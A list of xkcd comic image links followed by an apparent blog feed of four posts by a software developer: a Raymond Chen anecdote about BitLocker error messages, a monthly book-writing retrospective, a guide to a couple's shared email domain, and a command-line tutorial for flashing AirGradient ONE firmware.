3088: https://imgs.xkcd.com/comics/deposition_2x.png
3089: https://imgs.xkcd.com/comics/modern_2x.png
3090: https://imgs.xkcd.com/comics/sail_physics_2x.png
3091: https://imgs.xkcd.com/comics/renormalization_2x.png
3092: https://imgs.xkcd.com/comics/bakers_units_2x.png
3093: https://imgs.xkcd.com/comics/drafting_2x.png
3094: https://imgs.xkcd.com/comics/mass_spec_2x.png
3095: https://imgs.xkcd.com/comics/archaea_2x.png
3096: https://imgs.xkcd.com/comics/check_engine_2x.png
3097: https://imgs.xkcd.com/comics/bridge_types_2x.png
3098: https://imgs.xkcd.com/comics/trojan_horse_2x.png
3099: https://imgs.xkcd.com/comics/neighbor_source_heat_pump_2x.png
3100: https://imgs.xkcd.com/comics/alert_sound_2x.png
3101: https://imgs.xkcd.com/comics/good_science_2x.png
3102: https://imgs.xkcd.com/comics/reading_a_big_number_2x.png
3103: https://imgs.xkcd.com/comics/exoplanet_system_2x.png
3104: https://imgs.xkcd.com/comics/tukey_2x.png
3105: https://imgs.xkcd.com/comics/interoperability_2x.png
3106: https://imgs.xkcd.com/comics/farads_2x.png
3107: https://imgs.xkcd.com/comics/weather_balloons_2x.png
3108: https://imgs.xkcd.com/comics/laser_danger_2x.png
3109: https://imgs.xkcd.com/comics/dehumidifier_2x.png
3110: https://imgs.xkcd.com/comics/global_ranking_2x.png
3111: https://imgs.xkcd.com/comics/artificial_gravity_2x.png
3112: https://imgs.xkcd.com/comics/geology_murder_2x.png
3113: https://imgs.xkcd.com/comics/fix_this_sign_2x.png
3114: https://imgs.xkcd.com/comics/building_a_fire_2x.png
3115: https://imgs.xkcd.com/comics/unsolved_physics_problems_2x.png
3116: https://imgs.xkcd.com/comics/echo_chamber_2x.png
3117: https://imgs.xkcd.com/comics/replication_crisis_2x.png
3118: https://imgs.xkcd.com/comics/inaturalist_animals_and_plants_2x.png
3119: https://imgs.xkcd.com/comics/flettner_rotor_2x.png
3120: https://imgs.xkcd.com/comics/geologic_periods_2x.png
3121: https://imgs.xkcd.com/comics/kite_incident_2x.png
3122: https://imgs.xkcd.com/comics/bad_map_projection_interrupted_spheres_2x.png
3123: https://imgs.xkcd.com/comics/canon_2x.png
3124: https://imgs.xkcd.com/comics/grounded_2x.png
3125: https://imgs.xkcd.com/comics/snake_in_the_box_problem_2x.png
3126: https://imgs.xkcd.com/comics/disclaimer_2x.png
3127: https://imgs.xkcd.com/comics/where_babies_come_from_2x.png
3128: https://imgs.xkcd.com/comics/thread_meeting_2x.png
3129: https://imgs.xkcd.com/comics/archaeology_research_2x.png
3130: https://imgs.xkcd.com/comics/predicament_2x.png
3131: https://imgs.xkcd.com/comics/cesium_2x.png
3132: https://imgs.xkcd.com/comics/coastline_similarity_2x.png
3133: https://imgs.xkcd.com/comics/dual_roomba_2x.png
3134: https://imgs.xkcd.com/comics/wavefunction_collapse_2x.png
3135: https://imgs.xkcd.com/comics/sea_level_2x.png
3136: https://imgs.xkcd.com/comics/pull_2x.png
3137: https://imgs.xkcd.com/comics/cursed_number_2x.png
3138: https://imgs.xkcd.com/comics/dimensional_lumber_tape_measure_2x.png
3139: https://imgs.xkcd.com/comics/chess_variant_2x.png
3140: https://imgs.xkcd.com/comics/biology_department_2x.png
3141: https://imgs.xkcd.com/comics/mantle_model_2x.png
3142: https://imgs.xkcd.com/comics/city_style_pizza_2x.png
3143: https://imgs.xkcd.com/comics/question_mark_2x.png
3144: https://imgs.xkcd.com/comics/phase_changes_2x.png
3145: https://imgs.xkcd.com/comics/piercing_2x.png
3146: https://imgs.xkcd.com/comics/fantastic_four_2x.png
3147: https://imgs.xkcd.com/comics/hiking_2x.png

I Once Appeared in The Old New Thing

Mon, 15 Sep 2025 00:00:00 +0000

I’m a pretty humble guy, so most people don’t know this extremely impressive fact about me: Raymond Chen once mentioned me on The Old New Thing, the classic Windows development blog.

No, he didn’t mention me by name nor did he provide any way to identify me, but I still deserve credit for how little I boast about this stunning achievement.

In 2009, Raymond Chen mentioned me in an issue of The Old New Thing.

The problem I was trying to solve

Raymond described me in the post as “a customer,” but I was actually his fellow Microsoft employee at the time. I was 23 and coming up on two years as a developer at Microsoft, my first job out of college.

I worked on BitLocker, the feature of Windows that encrypts disk drives. We were starting development on Windows 8, and my project was to improve BitLocker’s configuration experience.

BitLocker had many knobs and dials that admins could configure through organization-level settings (Group Policy, in Windows terms). An IT admin could enforce a rule across their organization like, “Everyone’s BitLocker passphrase has to be at least 12 characters long,” and then BitLocker would force users to create passphrases that were at least 12 characters.

BitLocker’s configuration options, viewed through the Windows Group Policy editor

One of BitLocker’s configuration headaches was that the error messages were vague. If you tried to configure a rule that said passphrases had to be at least 1000 characters, BitLocker would throw an error like, “No, that’s too long,” but it wouldn’t tell you what the limit was.

At Microsoft, C++ code couldn’t contain error messages because the localization team had to translate all user-facing text into other languages. So, all user-facing text lived in .mc files that looked like this:

SymbolicName=ERROR_BITLOCKER_PASSPHRASE_MINIMUM_TOO_LONG
The BitLocker minimum passphrase length is too high.
.
SymbolicName=...

And then somewhere in the C++ code, we’d have a check that looked like this:

#define MAX_PASSPHRASE_MINIMUM 20

UINT32 minimumPassphraseLength = ReadGroupPolicy(GP_BITLOCKER_MINIMUM_PASSPHRASE_LENGTH);
if (minimumPassphraseLength > MAX_PASSPHRASE_MINIMUM) {
 ShowError(ERROR_BITLOCKER_PASSPHRASE_MINIMUM_TOO_LONG);
}

I wanted to change BitLocker’s error messages so that they gave the user specific information about why the error occurred. So, instead of seeing this:

The BitLocker minimum passphrase length is too high.

I wanted the user to see this:

The BitLocker minimum passphrase length cannot exceed 20.

I didn’t want to copy the value of 20 from the C++ code into the .mc file because if we later changed the value of MAX_PASSPHRASE_MINIMUM, it would go out of sync with the .mc file and make the error message incorrect.

How Raymond Chen got involved

I didn’t know a lot about the Message Compiler tool that consumed .mc files. I couldn’t find any examples of anyone referencing C++ values in .mc files, but I felt like there had to be some way of doing it.

I asked on a company-internal mailing list if I could write the .mc file like this:

SymbolicName=ERROR_BITLOCKER_PASSPHRASE_MINIMUM_TOO_LONG
The BitLocker minimum passphrase length cannot exceed ${MAX_PASSPHRASE_MINIMUM}.

Raymond Chen posted frequently on these mailing lists. Even in 2009, he had been at Microsoft forever and had an encyclopedic knowledge of everything related to Windows development. His replies were helpful and authoritative but snarky if he thought you didn’t do enough research before asking the question.

If I recall correctly, Raymond sent a terse reply to my thread, saying, “There’s no law saying you can’t use the preprocessor,” and an example of generating the .mc file with the preprocessor command.

It took me a while to even understand what he was trying to tell me. I didn’t know you could tell a C++ compiler to only run the preprocessing step.

Wasting Raymond Chen’s time

The shameful part of this story is that even though I got advice from the great Raymond Chen, I chickened out of using it.

In Raymond Chen’s blog post, he showed how easy it is to change a few lines in your Makefile so that your source file is a .mcp file instead of a .mc file. Easy peasy!

The Windows build system was infinitely more complicated than a Makefile. I don’t remember what it looked like except that I found it scary and confusing.

Worse, if you messed up the build, you might not find out until you received an email the next morning announcing that you broke the nightly build, and now dozens or hundreds of people don’t have that day’s Windows build because of you.

So, I had a choice. I could be the first person to try a new thing in the build system and risk burning a week or two on fixing unexpected issues. Or I could pretend I never had the idea to put specific numbers into BitLocker’s error messages and focus on other ways to make the configuration easier.

I chose the latter.

I still wouldn’t know how to solve this today

At the time, I remember thinking, “Wow, I’m dumb for not knowing I could use the C preprocessor like this.”

Most of the time, when I look back at a software problem I struggled with years ago, the solution is more obvious to me today. Usually, I can think of a better solution.

But 16 years later, Raymond’s solution to run the C preprocessor on a non-C/C++ file still feels unexpected. If I had all of my professional experience except this one memory of Raymond Chen, and you told me to solve the problem again, I’d still struggle just as much as I did in 2009.

The difference today is that I don’t feel dumb for not knowing how to solve this problem. I now see it as a weakness in Microsoft’s internal tooling. At Microsoft, on their flagship product, how was there no standard way for developers to reference constant values in both error messages and C++ code?

As a software engineer, there are some problems that you find unpleasant, but you grit your teeth and practice until you get better. Other problems, you just avoid by carefully picking what jobs and projects you take on.

Understanding arcane build systems is one of the problems I’ve avoided, and I’m fine with that. Except when I use Nix.

Refactoring English: Month 9

Tue, 09 Sep 2025 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

I got useful feedback from early readers about my chapter list.
I found it frustrating to edit video of an interview but had fun creating a written transcript.
My plan to promote my freelance blog editing services went better than I expected.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Write personalized emails to 20 readers I haven’t spoken to before

Result: Decided to do a chapter survey instead
Grade: N/A

From talking to a few readers, I realized a better strategy at this point would be to do a broad survey of all readers.

Publish a new chapter of Refactoring English

Result: Published “Get to the Point”
Grade: A

I finally finished my chapter on introductions. This was the hardest chapter to write because introductions are the part of writing I find most challenging. So, this was both an introduction and my attempt to reverse engineer how I write introductions.

I also went way over-budget on this chapter. I initially budgeted just six hours to complete it, but I ended up working on it for 19 hours.

Complete my remaining marketing tasks

Result: I finished the interview but not the call-to-action
Grade: B+

I finished editing the interview, which was the big unfinished task. I still haven’t gotten around to adjusting my book’s website design to focus on purchasing early access rather than subscribing to the free mailing list.

Refactoring English metrics

Metric	July 2025	August 2025	Change
Unique visitors	8,061	2,863	-5,198 (-64%)
Revenue from pre-orders	$800.04	$312.63	-$487.41 (-61%)
Revenue from sponsors	$48.25	$48.25	$0.00 (0%)
Total Revenue	$848.29	$360.88	-$487.41 (-57%)

Last month, I thought metrics for the book were healthy. Website visits and revenue were both up despite not having any popular new posts.

Since then, I’ve added graphs for my metrics, and now I see a different pattern. Revenue for the book seems to correlate closely with visitors to the book’s website. And even though I thought I didn’t have any popular posts in July, metrics cratered in August when I didn’t publish anything to the book’s website.

My takeaway is that I actually do need to keep publishing new things to the website to continue finding new readers, especially readers who are willing to pay for the book.

Interpreting reader feedback about my chapter list

In individual conversations with readers, there was a lot of variety in what chapters they found relevant. I felt like a better way to find out which chapters readers cared about most would be to send out a survey.

I expected a low response rate, as I’ve asked for feedback on the mailing list before and only gotten a handful of responses. I was surprised that readers were much more enthusiastic about this survey, with 133 responses in two weeks.

I did a detailed analysis of the responses on the book’s website:

Reader Feedback about my Chapter List

The short version is that I got useful feedback, and it prompted me to reorder the chapters and reframe a chapter that readers disliked.

It was also interesting to see the difference in response rate here compared to previous requests for feedback. In the past, I’d asked for feedback after sending out a sample chapter, and I think the difference is the amount of work I’m asking of the reader. For this survey, you can do it in a few minutes, whereas to give feedback on a chapter, you’d have to spend 30 minutes reading the chapter and thinking about it, and maybe you’re not ready to do that when you receive the survey.

The surprising difficulty of editing a 30-minute video interview

Back in July 2024, I recorded an interview with Adam Gordon Bell as part of rebooting my blogging course, Hit the Front Page of Hacker News. I ended up not finishing the course before I took paternity leave, so I shelved the reboot indefinitely.

That left me in an awkward spot with this interview. Adam was kind enough to volunteer his time to me, so I felt guilty not publishing the interview at all.

When I started offering early access to Refactoring English, I thought it would be a good time to release the interview. If people liked the interview, maybe they’d check out the book.

You know those tasks you put off forever, and you think, “I’ve been putting this off for so long, and it’s so silly because if I just sat down and did it, I’d be done in an hour and I could stop carrying it around in my head.” I thought for sure this interview would be like that.

It ended up not being like that.

The return of the plague of audio skew

I recorded the interview using a service called Riverside. After the call, Riverside generated video files for both ends of the call and a merged, synced version of the conversation. I spot-checked the videos at the time to verify they worked but never watched them carefully.

I thought the work would just be taking the merged version and throwing it up on YouTube. Maybe if there were interruptions or long digressions, I’d trim them out, but I figured the video was nearly done.

When I finally sat down to watch the video carefully a year after recording it, I realized the audio and video were out of sync. You could hear our voices before our lips moved in the video.

Your browser does not support the video tag.

In the video Riverside generated, the audio and video were slightly out of sync.

Okay, no problem. I could reprocess the video with FFmpeg to shift the audio slightly.

Nope, it turned out that the audio skew was different on either end of the conversation. Adam’s end was shifted about 425ms, while mine was about 150ms. That meant I had to go back to the original, unmerged videos of each end of our conversation, fix the skew in those, then re-merge them myself.

Searching for a usable open-source video editor

My standard tool for editing video used to be Adobe Premiere, but I switched to Linux last year, and Premiere isn’t available for Linux. Plus, I’m sick of Adobe as a company at this point.

I started editing the videos in Shotcut, a video editor I’d been learning last summer. It took a while to figure out how to even arrange videos side-by-side in Shotcut, but I eventually hacked something together with zoom and crop filters.

When I edited in Shotcut, playback was incredibly choppy because even on my fairly new, high-end desktop, it was choking while merging two 1080p videos. So, to hear how the video actually sounded, I had to export the video. And Shotcut doesn’t support exporting only a portion of a video, so I was exporting the full 30 minutes, which took several hours each time. Sidenote: I eventually discovered you can downscale playback in Shotcut for faster performance during editing.

I noticed after exporting that every time I split a clip, Shotcut would insert a loud pop. Even if I didn’t actually cut anything at the split point, it still happened. The mere act of splitting one contiguous clip into two adjacent clips created the pop artifact.

Just splitting a clip without making any change to it created a “pop” in the audio.

I discovered the pops were a known issue in Shotcut, which I couldn’t believe. How can anyone edit video when every split adds a distracting audio artifact? But a lot of commenters said that every video or audio editing tool has this same problem.

What?!?

I’ve edited hundreds of media files using other tools, and I’ve never seen any of them insert pops when I split a clip.

I tried other open-source video editing tools for Linux. Kdenlive crashed a few minutes into me trying to edit. Flowblade couldn’t load at all, but I eventually found a workaround. And Flowblade seemed like a simpler version of Shotcut, so I started the editing process again in Flowblade and had to figure out how to create side-by-side video.

After about an hour of editing in Flowblade, I tried exporting the video, and the pops were back. They had a bug about it, too, and their understanding of it was based on an explanation from Dan Dennedy, who is… the author of Shotcut. And it seemed like Flowblade was built on top of MLT, the same media framework that powers Shotcut. So, I was back to the exact same bug.

Anyway, this recounting of my editing adventure is already too long and boring, so to skip to the end: I eventually worked around the pops by converting the audio sampling rate on the videos from 44.1 kHz to 48 kHz. That eliminated the pop artifacts, but I don’t know why.

I ran into lots of other bugs while editing the video, but they’re too tedious to recount here.

Takeaways for editing video

Do as much pre-processing as possible using FFmpeg scripts.
Save the FFmpeg scripts in case you need to tweak the pre-processing later.
- Even if you’re so confident you won’t need to do any pre-processing again, save the scripts, ideally under source control.
Test the FFmpeg scripts with extreme values to confirm they’re doing what you think.
- I tried correcting the audio skew by shifting audio 200ms, but it still was out of sync. Then I tried 300ms, and it was still out of sync. Then, 400ms. I finally skipped to 2000ms and realized there had to be a bug in my script because the 200ms and 2000ms corrections sounded exactly the same.
When you’re not sure of the right setting, script FFmpeg to produce several different versions so you can compare options.
- I did this to test different strategies for eliminating background noise from my end of the conversation.
An audio sampling rate of 44.1 kHz apparently causes problems in editing.
- Converting the rate to 48 kHz during pre-processing fixed the pop artifacts.
- I have no idea why.
Try exporting video soon into editing to examine the final output.
Apply video/audio editing filters at the track level rather than at the clip level.
- Even if you just have one giant clip, once you start editing, you have dozens of clips with independent filter settings.
- If you realize you got a filter wrong, you’re stuck re-doing it in every clip.

Having too much fun with an interview transcript

When I finished editing the video with Adam Gordon Bell, that should have been it, right? I spent so much time editing the video that surely I must have been eager to publish it and call it a day.

Wrong!

Once I finished editing the video, it was time to obsess over the transcript. Except, I actually had fun doing that part.

I feel like every interview transcript I read online, the designer was like, “Let’s take a typewritten court transcript from 60 years ago and bring exactly that level of fun and interactivity to the web.”

What if we could somehow use the web browser to make conversation transcripts more interesting?

Come on! Let’s use the web to do stuff that’s not possible on a typewriter.

So, I generated an initial transcript with whisper-ctranslate2 and spent a lot of time making it accurate, interactive, and fun to read:

I added mini-features to the interview transcript to make it fun to read.

Each end of the conversation appears in a distinctly-colored speech bubble, so you can see who’s talking at a glance.
There are little play button icons in each speech bubble. When you click the icon, the page scrolls to the video and plays from that moment from the transcript.
I pulled out my favorite quotes into callouts.
I added headings to help frame the structure of the discussion.
I reviewed the text for transcription errors.

I haven’t published the video yet because I just sent a new chapter to the mailing list subscribers on Friday.It will be up on the book’s blog by the end of this week (by 2025-09-12).

Helping Tyler Cipriani reach #1 on Hacker News

Sometimes, a plan just comes together better than I even hoped.

Giving feedback to real writers helps me write my book, so I’ve been doing freelance editing for other indie dev bloggers. On the page explaining my editing services, I wanted to include a sample of my editing work, but I didn’t want to ask one of my paying clients to use work they already paid for as my own marketing.

So, my plan was to find someone who would let me edit their post for free in exchange for publishing the notes and them crediting me as the editor.

My stretch goal was that the article would gain traction in places where potential readers of my book might hang out, like Hacker News, Lobsters, and reddit. If the reader reached the end of the post and saw, “Edited by Refactoring English,” they’d think, “Hey, what’s that?”

It also looks good to potential clients if I can point to a past client and say, “Look, this person hired me, and their article succeeded in the places where you want to succeed.”

A few months ago, Tyler Cipriani hired me for a high-level review of his blog. He seemed happy with the results, so I pitched him my free editing idea, and he agreed.

I worked with Tyler on a few rounds of feedback for his article, “The future of large files in Git is Git.” We enjoyed working together, and it gave me good ideas for the book.

My bonus goal was just for the post to reach the front page of Hacker News, but it exceeded even that and got all the way to #1 on Hacker News, Lobsters, and reddit.

One of the biggest takeaways for both of us was the importance of tuning the writing to the target audience. Earlier drafts of Tyler’s post assumed that the reader was familiar with Git LFS, a Git extension for managing large files.

I suggested that the average Git user didn’t necessarily know Git LFS well enough to understand everything in the article. Tyler pushed back, as he felt like the average Git user who has dealt with large files must know Git LFS.

To convince Tyler that the reader knows less about Git LFS than his article assumed, I listed my knowledge and experience of Git LFS:

If I have large files in my git repo or I frequently update binary data in my git repo, I’m supposed to use git LFS

I’ve never used git LFS

I’ve maybe worked on 1-2 open-source projects that use Git LFS, but I never touched any of the LFS parts.

I don’t know what the size limits are for various forges, but I assumed that if I hit it, the forge would give me grief, and I’d deal with it then

If I ever want to store a file >5 MB in a git repo, I start looking for ways to avoid it

I thought Git LFS was a forge-agnostic feature I could use anywhere.

I thought Git LFS is a 10+ year old technology and is mature and stable

I didn’t know your repo is stuck with Git LFS once you start using it

I’d be interested in ways to store large files in git, and I’d click a story about it on HN/Lobsters, but it’s not a problem I’d think about and try to solve proactively unless I ran into a situation where I really wanted to store large files in a git repo.

Tyler said that this list was the “ah-ha” moment for him. He had resisted the feedback before because he felt confident that his readers would know about Git LFS. Seeing my list made him realize that even if his readers were superficially aware of Git LFS and what it’s for, they might not know how it works.

The neat thing about Tyler’s realization was that he could have written my list himself. He had the same predictions about what his target reader would know; he just had to think one level deeper about what it means for the reader to “know” a technology.

Side projects

Switching Hacker News Observer to a time-series database for a 500x speedup

Over the past few years, I’ve heard people talk about “time-series databases,” but I never understood what they do or how they differ from regular relational databases. I even used InfluxDB for a side project last year because I needed something compatible with Grafana. But I still didn’t understand what made it a “time series” database or why it couldn’t just be SQLite.

I was talking to another developer recently, and he mentioned using a time-series database for different views of his data, like seconds-level granularity vs. days-level. And he didn’t even explain beyond that, but a lightbulb went off in my head, and I thought, “Oh! That must be what time-series databases are for!”

Hacker News Observer is a side-project that queries Hacker News every minute and records the upvotes, comments, and rank of every story from the last few weeks. I hope to dig deeper and find interesting patterns, but for now I’ve just been looking at high-level aggregates, like total upvotes and comments on the front page:

Switching to DuckDB sped up this page by 500x

I initially used SQLite as the database, and the graph above took two minutes to render. And that makes sense because there are thousands of stories per day, thousands of snapshots of each story, and then I have to find the top 30 (front page) in each snapshot, then put those into hour-level buckets. SQLite doesn’t have any special functions for aggregating per-minute data into hour-level views, so it was a lot of expensive queries.

Once I got the idea of time-series databases, I asked an LLM for time-series database options that were similar to SQLite, and it recommended DuckDB. And then I just had the LLM migrate my database from SQLite to DuckDB. That migration alone reduced the load time for the graph from two minutes to 250ms, a speedup of about 500x.

So, I guess that’s what time-series databases are for.

Chipping away at old logs with Gleam Chat Log Parser

I made only little bits of progress on my chat log parser project. I handled logs that contain away messages and logs that had Windows-style line endings (\r\n). Strangely, in Erlang (and therefore also in Gleam), \r\n counts as a single character, which tripped me up for a while.

Wrap up

What got done?

Published the “Get to the Point” chapter of Refactoring English.
Published “Give Your Spouse the Gift of a Couple’s Email Domain”
Published a tutorial on flashing an AirGradient air quality monitor from the command line.
Published “Reader Feedback about my Chapter List”
Went back to using LeechBlockNG to protect focus during the day.
- It’s working well this time around! I’m not running into memory leaks, and it’s preventing me from straying into social media during my workday.

Lessons learned

Be more disciplined about editing video
Editing the video of an interview is tedious, but editing and styling the transcript is fun.
An order of magnitude more customers are willing to give feedback if it requires only a few minutes of work rather than 30 minutes of work.

Goals for next month

Publish something that attracts new readers to the Refactoring English website.
Publish a new chapter of Refactoring English.
Write personalized emails to 20 readers I haven’t spoken to before.

Give Your Spouse the Gift of a Couple's Email Domain

Tue, 26 Aug 2025 00:00:00 +0000

I’ve only been married for a few years, but I have a fantastic marriage tip you won’t hear from any marriage counselor or book:

Get a couple’s email domain

What’s a couple’s email domain?

My wife and I share a .com domain name for email. I’m not going to reveal our real domain name, but pretend it’s this:

@shinytable.com

Emails to michael@shinytable.com go to both me and my wife, and the same for her name.

No, not a shared Gmail account

When I tell people that my wife and I have a couple’s email domain, they think I registered a Gmail account like michaelandhiswife25@gmail.com, and we share access to that account. That’s not what I mean.

We have a couple’s email domain. We still send and receive email through our normal email accounts.

If you email michael@shinytable.com or my wife’s name, we both receive the email in our normal inboxes. We don’t have a special @shinytable.com inbox we have to check separately. Similarly, we can both send emails as each other, if needed.

You can get most of the same benefits by sharing an extra email account, but then you’re stuck managing an extra inbox and messing up each other’s read/unread status.

Why get a couple’s email domain?

Keeping everyone looped in with vendors

I got the idea for a couple’s email domain while my wife and I were planning our wedding. Despite the fact that it’s a core part of their job, most wedding vendors don’t seem to understand how to send emails to two people at once.

If I emailed a photographer and cc’ed my wife, half the time the photographer would forget to reply-all, cutting my wife out of the thread.

By switching to a couple’s email domain, we made it impossible for vendors to accidentally drop one of us from the thread. Even when emails were addressed only to michael@shinytable.com, they still went to my wife as well.

Shared online accounts

As a married couple, my wife and I share lots of online accounts: insurance, tax bills, grocery delivery, etc.

We sign up for all shared services using our couple’s email domain and save the credentials in our shared password manager, Bitwarden. That way, we both receive all notices related to our shared accounts. If we ever have to do a password reset, either of us can do it.

Picking a good domain name

When you pick a couple’s domain name, consider the experience of saying your email address over the phone, especially to support reps who may not speak English natively:

Choose words that have easy, unambiguous spelling
- e.g., don’t use a word like “scent” because people might think you meant “sent” or “cent.”
- e.g., don’t use a word like “accommodate” because only six people can spell it correctly on their first try.
Choose words that sound distinct from other words, especially in sequence
- e.g., if you choose “clean ditch,” people will probably mishear it as “clean dish.”

So, shinytable.com is not our real domain, but it would be a good couple’s domain because most English speakers can spell the words “shiny” and “table,” and it’s hard to mishear “shiny table dot com” as something else.

How to set up a couple’s email domain

Buy a domain name

To set up a couple’s domain for you and your spouse, the first step is to buy a domain name.

Some email providers let you buy a domain name within their service. I prefer to buy my domains from a dedicated domain registrar. The prices are generally better, and I have the freedom to switch email providers. You can buy the domain name from your email vendor if you prefer the simpler solution.

Connect your custom domain to your email account

Next, you need to connect your domain name to your email account. You’ll connect your spouse’s soon after.

I use Fastmail, and they support custom domain names particularly well. So, once I’ve purchased the domain, I go to Settings > Domains to connect shinytable.com to my Fastmail account.

You can also connect a custom domain to a basic, free Gmail account, but Google makes this process somewhat tedious process because they want you to pay for the feature in Google Workspace.

Forward mail to your spouse

Once you’re able to send and receive email with your custom domain name, the next step is automatically forwarding your spouse all emails to your couple’s domain.

If you use Gmail, create a filter with your domain name and configure it to forward emails to your spouse’s email address:

If you use Fastmail, got to Settings > Users & Sharing > Aliases and then click your couple’s domain name. Click “Show advanced preferences” to add a second recipient. Then, add your spouse’s email to the alias and hit “Save.”

Once your spouse can receive emails to that domain, they need to do the same thing you did above to send emails using the custom domain.

Tips for using your couple’s email domain

Avoid double replies: cc your spouse

On group threads with you and your spouse, you do still have to watch out for the other party dropping one of you from the thread. If that happens, you’d both still receive replies from the other party, but you’d miss your spouse’s reply.

To prevent this, just make sure to cc or bcc your spouse (or yourself) on all replies.

In practice, this has rarely been a problem. If my wife and I are both on an email thread with a vendor, typically one of us is actively managing the project and the other is just following along. Even if we forget to cc each other, we’re still seeing all the responses from the vendor.

Don’t give your couple’s email address to friends and family

When I first set up our couple’s email domain, I was so excited about how well it worked that I thought about using it for all emails threads we’re both on, including with family and friends.

Then, I realized that if a person emails michael@shinytable.com, they’d reasonably assume I’m the only recipient and might say something they don’t mean for my wife to see.

Note: If you’re reading this, and you’re my wife, I just mean for like… surprise parties and stuff.

So, we only give out our couple’s email addresses to online services or people with whom we have a pure business relationship.

Bonus: Use per-service couple’s email addresses

These days, if I order a $7 spatula online, the merchant immediately starts spamming me about kitchenware deals and shares my email with their 900 closest, trusted advertising partners.

To prevent spam, I go a step further with my couple’s email domain and give each vendor a unique email address. So, instead of entering michael@shinytable.com as my email address at checkout, I’d use the vendor’s name, like cheapspatulasdirect@shinytable.com. If I start receiving spam, I just block emails from cheapspatulasdirect@shinytable.com.

Per-service email addresses are fine when I’m typing the address into a web form, but if I tell Jane the dogwalker that my email address is jane.the.dogwalker@shinytable.com, she gets confused or weirded out. In those cases, I’ll say Michael but add a semi-random suffix like michael.dw5@shinytable.com, where “dw” is for dogwalker and the 5 is in case I’ve used “dw” as a suffix before.

I use the same technique to obscure the vendor’s name for services that are aggressive at fraud prevention. I once signed up for a food delivery service, and as soon as I placed my first order, they flagged my account for fraud and canceled my order. I suspect the reason was that the vendor’s name appeared in my email address. So, now, if I sign up with a service that might be sensitive to fraud, I do my name plus some random numbers.

Per-service email domains work especially well with Fastmail, as they allow unlimited email addresses and support wildcard (“catch-all”) addresses (*@shinytable.com). You can do this with Gmail as well, and it works fine for receiving mail, but if you ever need to send mail from cheapspatulasdirect@shinytable.com, you have to go through the tedious process of adding it to your Gmail account. With Fastmail, you can send from any email address within your domain with zero configuration.

Cover image by Piotr Letachowicz.

Flash an AirGradient ONE from the Command Line

Sat, 23 Aug 2025 00:00:00 +0000

I’ve purchased two AirGradient ONE indoor quality monitors to measure air quality in my home. AirGradient devices are open-source, so you can flash your own custom firmware and collect your air data locally rather than sending it to AirGradient’s proprietary cloud dashboard.

I keep an AirGradient ONE air quality monitor in my office to measure CO2 and pollution.

The existing documentation for flashing firmware requires you to use the Arduino IDE, a clunky GUI program:

Existing instructions for flashing AirGradient ONE rely on the Arduino IDE, a clunky GUI program.

I couldn’t find instructions for flashing AirGradient devices using the command-line, and it took me several hours to figure out, so I’ve included the steps below.

Aside: I don’t get the hype about AirGradient

Every time I see AirGradient come up on forum discussions, everyone sounds excited about their products. I’ve found my AirGradient ONE to be mediocre. The software is extremely buggy and the documentation is sparse. But they’re the only company I’ve found that sells pre-made air quality monitors that are open-source, so I bought a second AirGradient monitor.

For years, AirGradient never bothered to publish instructions for flashing software onto the AirGradient ONE. I learned how to do it from these blog posts:

“Monitoring my home’s air quality (CO2, PM2.5, Temp/Humidity) with AirGradient’s DIY sensor” by Jeff Geerling
“AirGradient ONE Kit Review – An open-source indoor air quality monitor” by CNX Software

This year finally, AirGradient published official flashing instructions, but they’re still a bit hidden.

Environment

I tested these steps on Debian 13.0, but they should work on any Debian/Ubuntu-like system.

Install packages

First, I install the base packages I need:

sudo apt update && \
 sudo apt install -y \
 git \
 curl \
 python3 \
 python3-serial

Install arduino-cli

Next, I install the Arduino CLI tool:

ARDUINO_CLI_VERSION='1.2.2'
ARDUINO_BIN_DIR="${HOME}/.local/arduino-cli"

mkdir -p "${ARDUINO_BIN_DIR}" && \
 curl -fsSL https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh \
 | BINDIR="${ARDUINO_BIN_DIR}" sh -s "${ARDUINO_CLI_VERSION}"
export PATH="${PATH}:${ARDUINO_BIN_DIR}"

To verify the install was successful, I print out the version string for arduino-cli:

$ arduino-cli version
arduino-cli Version: 1.2.2 Commit: c11b9dd5 Date: 2025-04-22T13:51:01Z

Download ESP32 libraries

AirGradient ONE depends on the ESP32 Arduino libraries. As of this writing, AirGradient is not yet compatible with the 3.x versions of Arduino, so I have to use the latest stable 2.x version.

ARDUINO_ESP32_VERSION='2.0.17'

arduino-cli config init \
 --additional-urls https://espressif.github.io/arduino-esp32/package_esp32_index.json && \
 arduino-cli core install "esp32:esp32@${ARDUINO_ESP32_VERSION}"

Find the path to my device

Next, I need the device path to my AirGradient ONE. The simplest way to find the device path is:

Run dmesg --follow
Plug my AirGradient ONE into my system via USB
Look for the device path to appear in the dmesg output

Here’s what it looks like on my system:

$ sudo dmesg --follow
[517021.978880] usb 1-4: New USB device found, idVendor=303a, idProduct=1001, bcdDevice= 1.01
[517021.978884] usb 1-4: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[517021.978894] usb 1-4: Product: USB JTAG/serial debug unit
[517021.978896] usb 1-4: Manufacturer: Espressif
[517021.978898] usb 1-4: SerialNumber: D8:3B:DA:1A:EE:C4
[517022.017678] cdc_acm 1-4:1.0: ttyACM0: USB ACM device
 ^^^^^^^
 Path name

Given this output, the path on my system to my AirGradient ONE is /dev/ttyACM0:

AIRGRADIENT_PATH='/dev/ttyACM0'

Make device path writeable

Next, I ensure that I can write to the AirGradient file path:

sudo chmod a+rw "${AIRGRADIENT_PATH}"

The AirGradient path should now have these permissions:

$ ls -l "${AIRGRADIENT_PATH}"
crw-rw-rw- 1 root dialout 166, 0 Aug 10 10:34 /dev/ttyACM0
 ^^^^^^^^

I also add myself to the dialout group so I can write to the path:

sudo adduser "$(whoami)" dialout

Get AirGradient source

Next, I check the AirGradient factory flashing page to find out the latest production release.

# Current production release, as of this writing.
AIRGRADIENT_RELEASE='3.3.8'

Warning: The latest version on AirGradient’s website does not match the latest release tag on AirGradient’s GitHub repo. When I tested 3.3.9, both of my devices failed to measure CO2 and temperature, so I’m not sure if 3.3.9 is a known-buggy release.

With the version number in hand, I grab the AirGradient source code from AirGradient’s GitHub repo:

git clone --recurse-submodules \
 --branch "${AIRGRADIENT_RELEASE}" \
 --depth 1 \
 https://github.com/airgradienthq/arduino.git \
 ~/airgradient-one

Flash firmware onto AirGradient ONE device

